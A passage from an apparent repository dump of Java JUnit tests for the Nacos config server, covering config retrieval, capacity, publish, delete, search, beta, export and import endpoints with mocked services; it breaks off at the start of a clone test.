assertEquals(HttpServletResponse.SC_OK + \"\", actualValue);\n        assertEquals(md5, response.getHeader(CONTENT_MD5));\n        assertEquals(\"key2345678\", response.getHeader(\"Encrypted-Data-Key\"));\n        \n    }\n    \n    @Test\n    void testDoGetConfigFormalV2() throws Exception {\n        String dataId = \"dataId1234552333V2\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.tryConfigReadLock(GroupKey2.getKey(dataId, group, tenant))).thenReturn(1);\n        \n        //mock cache item .\n        CacheItem cacheItem = new CacheItem(\"test\");\n        String md5 = \"md5wertyui\";\n        final String content = \"content345678\";\n        cacheItem.getConfigCache().setMd5(md5);\n        long ts = System.currentTimeMillis();\n        cacheItem.getConfigCache().setLastModifiedTs(ts);\n        cacheItem.getConfigCache().setEncryptedDataKey(\"key2345678\");\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataId, group, tenant)))\n                .thenReturn(cacheItem);\n        MockHttpServletRequest request = new MockHttpServletRequest();\n        request.setParameter(\"dataId\", dataId);\n        request.setParameter(\"group\", group);\n        request.setParameter(\"tenant\", tenant);\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        \n        when(configRocksDbDiskService.getContent(dataId, group, tenant)).thenReturn(content);\n        String actualValue = configServletInner.doGetConfig(request, response, dataId, group, tenant, null, \"true\",\n                \"localhost\", ApiVersionEnum.V2);\n        assertEquals(JacksonUtils.toJson(Result.success(content)), response.getContentAsString());\n        assertEquals(HttpServletResponse.SC_OK + \"\", actualValue);\n        assertEquals(md5, response.getHeader(CONTENT_MD5));\n        assertEquals(\"key2345678\", response.getHeader(\"Encrypted-Data-Key\"));\n        assertEquals(MediaType.APPLICATION_JSON, response.getHeader(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testDoGetConfigNotExist() throws Exception {\n        String dataId = \"test\";\n        String group = \"test\";\n        final String tenant = \"test\";\n        final String tag = \"test\";\n        \n        // if lockResult equals 0,cache item not exist.\n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.tryConfigReadLock(anyString())).thenReturn(0);\n        MockHttpServletRequest request = new MockHttpServletRequest();\n        request.setParameter(\"dataId\", dataId);\n        request.setParameter(\"group\", group);\n        request.setParameter(\"tenant\", tenant);\n        request.setParameter(\"tag\", tag);\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        String actualValue = configServletInner.doGetConfig(request, response, dataId, group, tenant, tag, \"true\",\n                \"localhost\", ApiVersionEnum.V1);\n        assertEquals(HttpServletResponse.SC_NOT_FOUND + \"\", actualValue);\n        \n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.getContentCache(GroupKey2.getKey(\"test\", \"test\", \"test\")))\n                .thenReturn(new CacheItem(GroupKey2.getKey(\"test\", \"test\", \"test\")));\n        // if lockResult less than 0\n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.tryConfigReadLock(anyString())).thenReturn(-1);\n        actualValue = configServletInner.doGetConfig(request, response, \"test\", \"test\", \"test\", \"test\", \"true\",\n                \"localhost\", ApiVersionEnum.V1);\n        assertEquals(HttpServletResponse.SC_CONFLICT + \"\", actualValue);\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/controller/v3/CapacityControllerV3Test.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.capacity.Capacity;\nimport com.alibaba.nacos.config.server.model.form.UpdateCapacityForm;\nimport com.alibaba.nacos.config.server.service.capacity.CapacityService;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport jakarta.servlet.ServletContext;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.springframework.core.env.StandardEnvironment;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.util.ReflectionTestUtils;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockHttpServletRequestBuilder;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\nimport java.sql.Timestamp;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\nimport static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;\n\n@ExtendWith(SpringExtension.class)\n@ContextConfiguration(classes = MockServletContext.class)\n@WebAppConfiguration\nclass CapacityControllerV3Test {\n    \n    @InjectMocks\n    CapacityControllerV3 capacityControllerV3;\n    \n    private MockMvc mockMvc;\n    \n    @Mock\n    private CapacityService capacityService;\n    \n    @Mock\n    private ServletContext servletContext;\n    \n    @BeforeEach\n    void setUp() {\n        EnvUtil.setEnvironment(new StandardEnvironment());\n        when(servletContext.getContextPath()).thenReturn(\"/nacos\");\n        ReflectionTestUtils.setField(capacityControllerV3, \"capacityService\", capacityService);\n        mockMvc = MockMvcBuilders.standaloneSetup(capacityControllerV3).build();\n    }\n    \n    @Test\n    void testGetCapacityNormal() throws Exception {\n        \n        Capacity capacity = new Capacity();\n        capacity.setId(1L);\n        capacity.setMaxAggrCount(1);\n        capacity.setMaxSize(1);\n        capacity.setMaxAggrSize(1);\n        capacity.setGmtCreate(new Timestamp(1));\n        capacity.setGmtModified(new Timestamp(2));\n        when(capacityService.getCapacityWithDefault(eq(\"test\"), eq(\"test\"))).thenReturn(capacity);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.CAPACITY_CONTROLLER_V3_ADMIN_PATH).param(\"groupName\", \"test\")\n                .param(\"namespaceId\", \"test\");\n        String actualValue = mockMvc.perform(builder).andReturn().getResponse().getContentAsString();\n        Capacity result = JacksonUtils.toObj(JacksonUtils.toObj(actualValue).get(\"data\").toString(), Capacity.class);\n        \n        assertNotNull(result);\n        assertEquals(capacity.getId(), result.getId());\n        assertEquals(capacity.getMaxAggrCount(), result.getMaxAggrCount());\n        assertEquals(capacity.getMaxSize(), result.getMaxSize());\n        assertEquals(capacity.getMaxAggrSize(), result.getMaxAggrSize());\n        assertEquals(capacity.getGmtCreate(), result.getGmtCreate());\n        assertEquals(capacity.getGmtModified(), result.getGmtModified());\n    }\n    \n    @Test\n    void testGetCapacityException() throws Exception {\n        \n        Capacity capacity = new Capacity();\n        capacity.setId(1L);\n        capacity.setMaxAggrCount(1);\n        capacity.setMaxSize(1);\n        capacity.setMaxAggrSize(1);\n        capacity.setGmtCreate(new Timestamp(1));\n        capacity.setGmtModified(new Timestamp(2));\n        when(capacityService.getCapacityWithDefault(eq(\"test\"), eq(\"test\"))).thenReturn(capacity);\n        // namespaceId & groupName is null\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.CAPACITY_CONTROLLER_V3_ADMIN_PATH);\n        assertThrows(Exception.class, () -> {\n            mockMvc.perform(builder);\n        });\n        \n        // namespaceId is blank& groupName is null\n        MockHttpServletRequestBuilder builder2 = MockMvcRequestBuilders.get(Constants.CAPACITY_CONTROLLER_V3_ADMIN_PATH).param(\"namespaceId\", \"\");\n        assertThrows(Exception.class, () -> {\n            mockMvc.perform(builder2);\n        });\n        \n        // namespaceId is not blank && groupName is not blank\n        when(capacityService.getCapacityWithDefault(eq(\"g1\"), eq(\"123\"))).thenThrow(new NullPointerException());\n        MockHttpServletRequestBuilder builder3 = MockMvcRequestBuilders.get(Constants.CAPACITY_CONTROLLER_V3_ADMIN_PATH).param(\"namespaceId\", \"123\")\n                .param(\"groupName\", \"g1\");\n        String actualValue3 = mockMvc.perform(builder3).andReturn().getResponse().getContentAsString();\n        \n    }\n    \n    @Test\n    void testUpdateCapacity1x() throws Exception {\n\n        when(capacityService.insertOrUpdateCapacity(\"test\", \"test\", 1, 1, 1, 1)).thenReturn(true);\n\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.post(Constants.CAPACITY_CONTROLLER_V3_ADMIN_PATH).param(\"groupName\", \"test\")\n                .param(\"namespaceId\", \"test\").param(\"quota\", \"1\").param(\"maxSize\", \"1\").param(\"maxAggrCount\", \"1\").param(\"maxAggrSize\", \"1\");\n\n        String actualValue = mockMvc.perform(builder).andReturn().getResponse().getContentAsString();\n        String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        assertEquals(\"0\", code);\n        assertEquals(\"true\", data);\n    }\n    \n    @Test\n    void testUpdateCapacity4x() throws Exception {\n        \n        UpdateCapacityForm updateCapacityForm = new UpdateCapacityForm();\n        updateCapacityForm.setGroupName(\"test\");\n        updateCapacityForm.setNamespaceId(\"test\");\n        updateCapacityForm.setQuota(1);\n        updateCapacityForm.setMaxSize(1);\n        updateCapacityForm.setMaxAggrCount(1);\n        updateCapacityForm.setMaxSize(1);\n        when(capacityService.insertOrUpdateCapacity(\"test\", \"test\", 1, 1, 1, 1)).thenReturn(false);\n        \n        MockHttpServletRequestBuilder builder = post(Constants.CAPACITY_CONTROLLER_V3_ADMIN_PATH).param(\"groupName\", \"test\")\n                .param(\"namespaceId\", \"test\").param(\"quota\", \"1\").param(\"maxSize\", \"1\").param(\"maxAggrCount\", \"1\").param(\"maxAggrSize\", \"1\");\n        String actualValue = mockMvc.perform(builder).andReturn().getResponse().getContentAsString();\n        String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        assertEquals(\"30000\", code);\n        assertEquals(\"null\", data);\n    }\n}\n    \n    "
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/controller/v3/ConfigControllerV3Test.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigCloneInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigMetadata;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.listener.ConfigListenerStateDelegate;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.YamlParserUtil;\nimport com.alibaba.nacos.config.server.utils.ZipUtils;\nimport com.alibaba.nacos.core.namespace.repository.NamespacePersistService;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport jakarta.servlet.ServletContext;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.core.env.StandardEnvironment;\nimport org.springframework.mock.web.MockMultipartFile;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.util.ReflectionTestUtils;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockHttpServletRequestBuilder;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyList;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\n@ContextConfiguration(classes = MockServletContext.class)\n@WebAppConfiguration\nclass ConfigControllerV3Test {\n    \n    @InjectMocks\n    ConfigControllerV3 configControllerV3;\n    \n    private MockMvc mockmvc;\n    \n    @Mock\n    private ServletContext servletContext;\n    \n    @Mock\n    private ConfigInfoPersistService configInfoPersistService;\n    \n    @Mock\n    private ConfigInfoBetaPersistService configInfoBetaPersistService;\n    \n    @Mock\n    private ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    @Mock\n    private NamespacePersistService namespacePersistService;\n    \n    @Mock\n    private ConfigOperationService configOperationService;\n    \n    @Mock\n    private ConfigListenerStateDelegate configListenerStateDelegate;\n    \n    @Mock\n    private ConfigDetailService configDetailService;\n    \n    @Mock\n    private ConfigMigrateService configMigrateService;\n    \n    @BeforeEach\n    void setUp() {\n        EnvUtil.setEnvironment(new StandardEnvironment());\n        when(servletContext.getContextPath()).thenReturn(\"/nacos\");\n        ReflectionTestUtils.setField(configControllerV3, \"configListenerStateDelegate\", configListenerStateDelegate);\n        ReflectionTestUtils.setField(configControllerV3, \"configInfoPersistService\", configInfoPersistService);\n        ReflectionTestUtils.setField(configControllerV3, \"configInfoBetaPersistService\", configInfoBetaPersistService);\n        ReflectionTestUtils.setField(configControllerV3, \"configInfoGrayPersistService\", configInfoGrayPersistService);\n        ReflectionTestUtils.setField(configControllerV3, \"namespacePersistService\", namespacePersistService);\n        ReflectionTestUtils.setField(configControllerV3, \"configOperationService\", configOperationService);\n        ReflectionTestUtils.setField(configControllerV3, \"configMigrateService\", configMigrateService);\n        mockmvc = MockMvcBuilders.standaloneSetup(configControllerV3).build();\n    }\n    \n    @Test\n    void testPublishConfig() throws Exception {\n        when(configOperationService.publishConfig(any(), any(), anyString())).thenReturn(true);\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.post(Constants.CONFIG_ADMIN_V3_PATH)\n                .param(\"dataId\", \"test\").param(\"groupName\", \"test\").param(\"namespaceId\", \"\").param(\"content\", \"test\")\n                .param(\"tag\", \"\").param(\"appName\", \"\").param(\"src_user\", \"\").param(\"config_tags\", \"\").param(\"desc\", \"\")\n                .param(\"use\", \"\").param(\"effect\", \"\").param(\"type\", \"\").param(\"schema\", \"\");\n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        assertEquals(\"0\", code);\n        assertEquals(\"true\", data);\n    }\n    \n    @Test\n    void testGetConfig() throws Exception {\n        when(configInfoPersistService.findConfigAllInfo(\"test\", \"test\", \"public\")).thenReturn(new ConfigAllInfo());\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.CONFIG_ADMIN_V3_PATH)\n                .param(\"dataId\", \"test\").param(\"groupName\", \"test\").param(\"namespaceId\", \"\").param(\"tag\", \"\");\n        int actualValue = mockmvc.perform(builder).andReturn().getResponse().getStatus();\n        assertEquals(200, actualValue);\n    }\n    \n    @Test\n    void testDeleteConfig() throws Exception {\n        when(configOperationService.deleteConfig(anyString(), anyString(), anyString(), anyString(), any(), any(),\n                any())).thenReturn(true);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.delete(Constants.CONFIG_ADMIN_V3_PATH)\n                .param(\"dataId\", \"test\").param(\"groupName\", \"test\").param(\"namespaceId\", \"\").param(\"tag\", \"\");\n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        assertEquals(\"0\", code);\n        assertEquals(\"true\", data);\n    }\n    \n    @Test\n    void testDeleteConfigs() throws Exception {\n        \n        final List<ConfigAllInfo> resultInfos = new ArrayList<>();\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        String dataId = \"dataId1123\";\n        String groupName = \"group34567\";\n        String namespaceId = \"tenant45678\";\n        configAllInfo.setDataId(dataId);\n        configAllInfo.setGroup(groupName);\n        configAllInfo.setTenant(namespaceId);\n        resultInfos.add(configAllInfo);\n        Mockito.when(configInfoPersistService.findConfigInfo(eq(1L))).thenReturn(configAllInfo);\n        Mockito.when(configInfoPersistService.findConfigInfo(eq(2L))).thenReturn(configAllInfo);\n        AtomicReference<ConfigDataChangeEvent> reference = new AtomicReference<>();\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.delete(Constants.CONFIG_ADMIN_V3_PATH + \"/batch\")\n                .param(\"ids\", \"1,2\");\n        \n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        \n        String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        assertEquals(\"0\", code);\n        assertEquals(\"true\", data);\n        Thread.sleep(1200L);\n    }\n    \n    @Test\n    void testGetListeners() throws Exception {\n        Map<String, String> listenersGroupkeyStatus = new HashMap<>();\n        listenersGroupkeyStatus.put(\"test\", \"test\");\n        ConfigListenerInfo sampleResult = new ConfigListenerInfo();\n        sampleResult.setQueryType(ConfigListenerInfo.QUERY_TYPE_CONFIG);\n        sampleResult.setListenersStatus(listenersGroupkeyStatus);\n        \n        when(configListenerStateDelegate.getListenerState(\"test\", \"test\", \"public\", true)).thenReturn(sampleResult);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.CONFIG_ADMIN_V3_PATH + \"/listener\")\n                .param(\"dataId\", \"test\").param(\"groupName\", \"test\").param(\"namespaceId\", \"\").param(\"sampleTime\", \"1\");\n        \n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        final String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        ConfigListenerInfo configListenerInfo = JacksonUtils.toObj(data, ConfigListenerInfo.class);\n        assertEquals(ConfigListenerInfo.QUERY_TYPE_CONFIG, configListenerInfo.getQueryType());\n        assertEquals(1, configListenerInfo.getListenersStatus().size());\n        assertEquals(\"test\", configListenerInfo.getListenersStatus().get(\"test\"));\n        assertEquals(\"0\", code);\n    }\n    \n    @Test\n    void testSearchConfig() throws Exception {\n        List<ConfigInfo> configInfoList = new ArrayList<>();\n        ConfigInfo configInfo = new ConfigInfo(\"test\", \"test\", \"test\");\n        configInfoList.add(configInfo);\n        \n        Page<ConfigInfo> page = new Page<>();\n        page.setTotalCount(15);\n        page.setPageNumber(1);\n        page.setPagesAvailable(2);\n        page.setPageItems(configInfoList);\n        Map<String, Object> configAdvanceInfo = new HashMap<>(8);\n        \n        when(configDetailService.findConfigInfoPage(\"accurate\", 1, 10, \"test\", \"test\", \"public\",\n                configAdvanceInfo)).thenReturn(page);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.CONFIG_ADMIN_V3_PATH + \"/list\")\n                .param(\"search\", \"accurate\").param(\"dataId\", \"test\").param(\"groupName\", \"test\").param(\"appName\", \"\")\n                .param(\"namespaceId\", \"\").param(\"config_tags\", \"\").param(\"pageNo\", \"1\").param(\"pageSize\", \"10\")\n                .param(\"config_detail\", \"\");\n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        JsonNode pageItemsNode = JacksonUtils.toObj(data).get(\"pageItems\");\n        List resultList = JacksonUtils.toObj(pageItemsNode.toString(), List.class);\n        ConfigBasicInfo resConfigInfo = JacksonUtils.toObj(pageItemsNode.get(0).toString(), ConfigBasicInfo.class);\n        \n        assertEquals(configInfoList.size(), resultList.size());\n        assertEquals(configInfo.getDataId(), resConfigInfo.getDataId());\n        assertEquals(configInfo.getGroup(), resConfigInfo.getGroupName());\n        assertEquals(configInfo.getTenant(), resConfigInfo.getNamespaceId());\n    }\n    \n    @Test\n    void testFuzzySearchConfig() throws Exception {\n        List<ConfigInfo> configInfoList = new ArrayList<>();\n        ConfigInfo configInfo = new ConfigInfo(\"test\", \"test\", \"test\");\n        configInfoList.add(configInfo);\n        \n        Page<ConfigInfo> page = new Page<>();\n        page.setTotalCount(15);\n        page.setPageNumber(1);\n        page.setPagesAvailable(2);\n        page.setPageItems(configInfoList);\n        Map<String, Object> configAdvanceInfo = new HashMap<>(8);\n        \n        when(configDetailService.findConfigInfoPage(\"blur\", 1, 10, \"test\", \"test\", \"public\",\n                configAdvanceInfo)).thenReturn(page);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.CONFIG_ADMIN_V3_PATH + \"/list\")\n                .param(\"search\", \"blur\").param(\"dataId\", \"test\").param(\"groupName\", \"test\").param(\"appName\", \"\")\n                .param(\"namespaceId\", \"\").param(\"config_tags\", \"\").param(\"pageNo\", \"1\").param(\"pageSize\", \"10\")\n                .param(\"config_detail\", \"\");\n        \n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        JsonNode pageItemsNode = JacksonUtils.toObj(data).get(\"pageItems\");\n        List resultList = JacksonUtils.toObj(pageItemsNode.toString(), List.class);\n        ConfigBasicInfo resConfigInfo = JacksonUtils.toObj(pageItemsNode.get(0).toString(), ConfigBasicInfo.class);\n        \n        assertEquals(configInfoList.size(), resultList.size());\n        assertEquals(configInfo.getDataId(), resConfigInfo.getDataId());\n        assertEquals(configInfo.getGroup(), resConfigInfo.getGroupName());\n        assertEquals(configInfo.getTenant(), resConfigInfo.getNamespaceId());\n    }\n    \n    @Test\n    void testStopBeta() throws Exception {\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.delete(Constants.CONFIG_ADMIN_V3_PATH + \"/beta\")\n                .param(\"beta\", \"true\").param(\"dataId\", \"test\").param(\"groupName\", \"test\").param(\"namespaceId\", \"\");\n        \n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        \n        String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        assertEquals(\"0\", code);\n        assertEquals(\"true\", data);\n    }\n    \n    @Test\n    void testQueryBeta() throws Exception {\n        \n        ConfigInfoGrayWrapper configInfoBetaWrapper = new ConfigInfoGrayWrapper();\n        configInfoBetaWrapper.setDataId(\"test\");\n        configInfoBetaWrapper.setGroup(\"test\");\n        configInfoBetaWrapper.setContent(\"test\");\n        configInfoBetaWrapper.setGrayName(\"beta\");\n        configInfoBetaWrapper.setGrayRule(\n                \"{\\\"type\\\":\\\"beta\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"expr\\\":\\\"127.0.0.1,127.0.0.2\\\",\\\"priority\\\":-1000}\");\n        when(configInfoGrayPersistService.findConfigInfo4Gray(\"test\", \"test\", \"public\", \"beta\")).thenReturn(\n                configInfoBetaWrapper);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.CONFIG_ADMIN_V3_PATH + \"/beta\")\n                .param(\"beta\", \"true\").param(\"dataId\", \"test\").param(\"groupName\", \"test\").param(\"namespaceId\", \"\");\n        \n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        ConfigGrayInfo resConfigInfoBetaWrapper = JacksonUtils.toObj(data, ConfigGrayInfo.class);\n        \n        assertEquals(\"0\", code);\n        assertEquals(configInfoBetaWrapper.getDataId(), resConfigInfoBetaWrapper.getDataId());\n        assertEquals(configInfoBetaWrapper.getGroup(), resConfigInfoBetaWrapper.getGroupName());\n        assertEquals(configInfoBetaWrapper.getContent(), resConfigInfoBetaWrapper.getContent());\n        assertEquals(configInfoBetaWrapper.getGrayName(), resConfigInfoBetaWrapper.getGrayName());\n        assertEquals(\"{\\\"type\\\":\\\"beta\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"expr\\\":\\\"127.0.0.1,127.0.0.2\\\",\\\"priority\\\":-1000}\",\n                resConfigInfoBetaWrapper.getGrayRule());\n        \n    }\n    \n    @Test\n    void testExportConfig() throws Exception {\n        String dataId = \"dataId2.json\";\n        String groupName = \"group2\";\n        String namespaceId = \"tenant234\";\n        String appname = \"appname2\";\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(dataId);\n        configAllInfo.setGroup(groupName);\n        configAllInfo.setTenant(namespaceId);\n        configAllInfo.setAppName(appname);\n        configAllInfo.setContent(\"content1234\");\n        List<ConfigAllInfo> dataList = new ArrayList<>();\n        dataList.add(configAllInfo);\n        Mockito.when(configInfoPersistService.findAllConfigInfo4Export(eq(dataId), eq(groupName), eq(namespaceId),\n                eq(appname), eq(Arrays.asList(1L, 2L)))).thenReturn(dataList);\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.CONFIG_ADMIN_V3_PATH + \"/export\")\n                .param(\"dataId\", dataId).param(\"groupName\", groupName).param(\"namespaceId\", namespaceId)\n                .param(\"appName\", appname).param(\"ids\", \"1,2\");\n        \n        int actualValue = mockmvc.perform(builder).andReturn().getResponse().getStatus();\n        assertEquals(200, actualValue);\n    }\n    \n    @Test\n    void testImportAndPublishConfigV2() throws Exception {\n        List<ZipUtils.ZipItem> zipItems = new ArrayList<>();\n        String dataId = \"dataId23456.json\";\n        String groupName = \"group132\";\n        String content = \"content1234\";\n        ZipUtils.ZipItem zipItem = new ZipUtils.ZipItem(groupName + \"/\" + dataId, content);\n        zipItems.add(zipItem);\n        ConfigMetadata configMetadata = new ConfigMetadata();\n        configMetadata.setMetadata(new ArrayList<>());\n        ConfigMetadata.ConfigExportItem configExportItem = new ConfigMetadata.ConfigExportItem();\n        configExportItem.setDataId(dataId);\n        configExportItem.setGroup(groupName);\n        configExportItem.setType(\"json\");\n        configExportItem.setAppName(\"appna123\");\n        configMetadata.getMetadata().add(configExportItem);\n        ZipUtils.UnZipResult unziped = new ZipUtils.UnZipResult(zipItems,\n                new ZipUtils.ZipItem(Constants.CONFIG_EXPORT_METADATA_NEW, YamlParserUtil.dumpObject(configMetadata)));\n        MockMultipartFile file = new MockMultipartFile(\"file\", \"test.zip\", \"application/zip\", \"test\".getBytes());\n        try (MockedStatic<ZipUtils> zipUtilsMockedStatic = Mockito.mockStatic(ZipUtils.class)) {\n            zipUtilsMockedStatic.when(() -> ZipUtils.unzip(eq(file.getBytes()))).thenReturn(unziped);\n            when(namespacePersistService.tenantInfoCountByTenantId(\"public\")).thenReturn(1);\n            Map<String, Object> map = new HashMap<>();\n            map.put(\"test\", \"test\");\n            when(configInfoPersistService.batchInsertOrUpdate(anyList(), anyString(), anyString(), any(),\n                    any())).thenReturn(map);\n            \n            MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.multipart(\n                            Constants.CONFIG_ADMIN_V3_PATH + \"/import\").file(file).param(\"src_user\", \"test\")\n                    .param(\"namespace\", \"public\").param(\"policy\", \"ABORT\");\n            \n            String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n            \n            String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n            assertEquals(\"0\", code);\n            Map<String, Object> resultMap = JacksonUtils.toObj(JacksonUtils.toObj(actualValue).get(\"data\").toString(),\n                    Map.class);\n            assertEquals(map.get(\"test\"), resultMap.get(\"test\").toString());\n        }\n    }\n    \n    @Test\n    void testCloneConfig() throws Exception {\n        